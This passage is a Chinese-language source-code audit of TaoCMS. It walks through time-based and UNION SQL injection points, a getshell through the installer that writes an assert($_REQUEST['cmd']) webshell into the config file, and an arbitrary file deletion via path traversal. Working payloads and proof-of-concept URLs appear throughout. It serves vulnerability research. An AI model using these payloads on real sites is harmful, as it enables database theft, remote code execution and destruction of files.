getquery
可以看到该方法没有合适的调用,都是在一些模板文件中用于加载数据,所以直接放弃
updatelist
category
看到这里的调用,发现是经过这个add_one处理过的,不是传参的那个status
add_one处理POST传输的数据,对数据了过滤转义,然后返回值,所以不存在注入
而在update函数中,没有进行数据数据过滤处理,有可能存在注入
payload:1) or sleep(4)#
getlist
category
根据参数知道id对应的参数为$where参数,对应的同样没有过滤,直接打入payload
延时4s
Admin
全局搜索getlis,在admin.php中找到edit方法存在getlist的调用,并且能够可控参数
那么直接抓包修改id值,注意不能用or,我用or这个payload打的时候没触发sleep()函数,因为or是代表或的意思,而这里id=2,2是存在的,所以就不执行sleep函数,就像命令中的“||”符号。所以用and直接一起执行。
payload:2 and sleep(5)%23
执行成功,直接延时5s
Category
可以看到也是继承的Article,注入位置也是相同的
payload:1 or sleep(5)%23
Cms
筛选到cms类中的updateurl方法存在该函数调用,分析前后发现$addsql参数是由$id参数组合而成的,那么也很明显的存在注入,id没有经过处理。
延时成功
lists方法也存在注入点,继续发现getlist语句的参数由$addsql控制,而该参数能够拼接,发现name参数被用安全方法过滤了危险字符,所以主要看cat和status参数。,在save方法。
这个方法我一直想知道在哪个地方调用,我是用ctrl调用也不行,然后发现他是通过传参调用的,在save方法找到该方法的调用。
读源码的时候发现这个tags参数进行了safeword过滤,但是等级只有3级,没有用最高级的,所以没有对输入做到完全过滤的方法
这个位置也有一个注入点
7.install处getshell
判断是否有POST传入db_name,如果有的话就会赋值给$db_name参数,如果没有就会赋值默认的值,跟进
可以看到这里先调用file_get_contents读取了配置文件当中的内容,接着调用了str_replace将默认值替换成了POST中传入的参数值,这里其实三个参数都能够写入shell文件,这里对db_name进行写入shell
db_name=|127.0.0.1:3306|root|123456|taocms|');assert($_REQUEST['cmd']);//
8.任意文件删除
根据poc对代码进行分析
?action=file&ctrl=del&path=filepath
先会调用Base类中的catauth方法对$action参数进行判断,之后会判断是否存在相应的类,如果存在的话就实例化该类并赋值给$model,并且会判断$ctrl方法是否存在于$action类中,存在的话就会调用类中无参方法
include/Model/Base.php#119,
通过调试发现$_SESSION[TB.'admin_level']=admin,所以返回值为true恒成立,所以上面的代码逻辑会接着往下走
传入的$action=file,定位到类文件include/Model/File.php
根据File类的构造方法,以及前面传入的参数,$id是可控的,但是没有赋值默认为0,$table即是$action=file,接着这里会对指定文件的真实路径进行拼接,这里的SYS_ROOT就是整个项目的绝对磁盘路径。
这里会对指定绝对路径要删除的文件的全选进行判断,并且如果是文件夹的话会遍历文件夹并判断文件夹是否为空,之后就会直接进行删除的操作,加上目录穿越就可以进行任意文件删除了。
9.SQL Injection
根据poc对源代码进行分析漏洞原理。
poc ?name=-1%"+union+select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()%23&cat=0&status=&action=cms&ctrl=lists&submit=%E6%9F%A5%E8%AF%A2
根据poc来进行分析
include\Model\Cms.php#112
name,cat,status三个参数都由GET传入,都可控,直接来看调用的DB类中的getlist方法
include/Db/Mysql.php#60
调用的方法除了前三个参数是由前面调用时传入的参数覆盖的,其他两个参数为默认值,调试输出了最后的sql查询语句
select count(*) from cms_cms where 1=1 and name like "%-1%" union select group_concat(table_name) from information_schema.tables where table_schema=database()#%" ORDER BY id DESC limit 20
这里sql执行完之后会调用Base类中的magic2word方法,对结果是否为数组进行判断,如果是数组就会存入新的数组并且返回赋值给$datas数组,打印该数组可以发现注入的语句已经成功执行并返回了结果
REF
https://forum.butian.net/share/992
http://anyun.org/a/anquanjuhe/Seayxinxianquanboke/2017/0213/8445.html